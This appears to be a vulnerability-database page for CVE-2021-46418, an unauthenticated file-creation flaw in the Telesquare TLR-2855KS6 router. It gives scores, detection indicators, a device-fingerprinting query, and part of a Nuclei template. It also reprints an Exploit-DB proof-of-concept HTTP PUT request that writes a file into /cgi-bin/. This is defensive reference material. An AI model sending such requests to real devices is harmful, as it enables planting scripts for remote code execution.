CVE-2021-46418
published 2022-04-07CVE-2021-46418: An unauthorized file creation vulnerability in Telesquare TLR-2855KS6 via PUT method can allow creation of CGI scripts.
PriorityP262high7.5CVSS 3.1
AVNACLPRNUINSUCNIHAN
EXPLOIT
EPSS
23.95%
97.6th percentile
An unauthorized file creation vulnerability in Telesquare TLR-2855KS6 via PUT method can allow creation of CGI scripts.
Detection & IOCsextracted from sources · hover to see the quote
- →Detect unauthenticated HTTP PUT requests targeting the /cgi-bin/ directory on Telesquare TLR-2855KS6 devices; a successful file creation returns HTTP 201. ↗
- →Fingerprint vulnerable devices using the FOFA query for the product banner string TELESQUARE-TLR-2855KS6. ↗
- →Confirm exploitation by issuing a follow-up GET to the created file path and checking that the response Content-Type is text/plain and the body contains the previously PUT content. ↗
- →The device runs lighttpd; presence of the lighttpd Server header combined with a 201 response to a PUT on /cgi-bin/ is a strong indicator of a vulnerable and exploited device. ↗
- ·The exploit PoC uses a static test filename (testing_cve.txt); real attackers would likely use arbitrary filenames including .cgi scripts for remote code execution, so detection should not be limited to this specific filename. ↗
- ·The vulnerability requires no authentication (PR:N, UI:N per CVSS), meaning any network-reachable device is at risk without any credential bypass needed. ↗
CVSS provenance
nvdv3.17.5HIGHCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
nvdv2.05.0MEDIUMAV:N/AC:L/Au:N/C:N/I:P/A:N
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
Telesquare TLR-2855KS6 - Arbitrary File Creation
exploitdb·2022-04-11·CVSS 7.5
CVE-2021-46418 [HIGH] Telesquare TLR-2855KS6 - Arbitrary File Creation
Telesquare TLR-2855KS6 - Arbitrary File Creation
---
# Exploit Title: Telesquare TLR-2855KS6 - Arbitrary File Creation
# Date: 7/4/2022
# Exploit Author: Momen Eldawakhly (Cyber Guy)
# Vendor Homepage: http://www.telesquare.co.kr/
# Version: TLR-2855KS6
# Tested on: Linux [Firefox]
# CVE : CVE-2021-46418
# Proof of Concept
PUT /cgi-bin/testing_cve.txt HTTP/1.1
Host: 192.168.1.5
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: nonce=1642692359833588
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 32
Nuclei
Telesquare TLR-2855KS6 - Arbitrary File Creation
nuclei·CVSS 7.5
CVE-2021-46418 [HIGH] Telesquare TLR-2855KS6 - Arbitrary File Creation
Telesquare TLR-2855KS6 - Arbitrary File Creation
An unauthorized file creation vulnerability in Telesquare TLR-2855KS6 via PUT method can allow creation of CGI scripts.
Template:
id: CVE-2021-46418
info:
name: Telesquare TLR-2855KS6 - Arbitrary File Creation
author: DhiyaneshDK
severity: high
description: |
An unauthorized file creation vulnerability in Telesquare TLR-2855KS6 via PUT method can allow creation of CGI scripts.
impact: |
Unauthenticated attackers can create arbitrary files including CGI scripts via HTTP PUT requests, potentially achieving remote code execution.
remediation: |
Apply firmware updates provided by Telesquare or restrict HTTP PUT access to the device.
reference:
- http://packetstormsecurity.com/files/166674/Telesquare-TLR-2855KS6-Arbitrary-File-Creation.html
-
No writeups or analysis indexed.
http://packetstormsecurity.com/files/166674/Telesquare-TLR-2855KS6-Arbitrary-File-Creation.htmlhttps://drive.google.com/drive/folders/1avIfk1MZNmNQYePE1_n4irC24daxCeBAhttp://packetstormsecurity.com/files/166674/Telesquare-TLR-2855KS6-Arbitrary-File-Creation.htmlhttps://drive.google.com/drive/folders/1avIfk1MZNmNQYePE1_n4irC24daxCeBA
2022-04-07
Published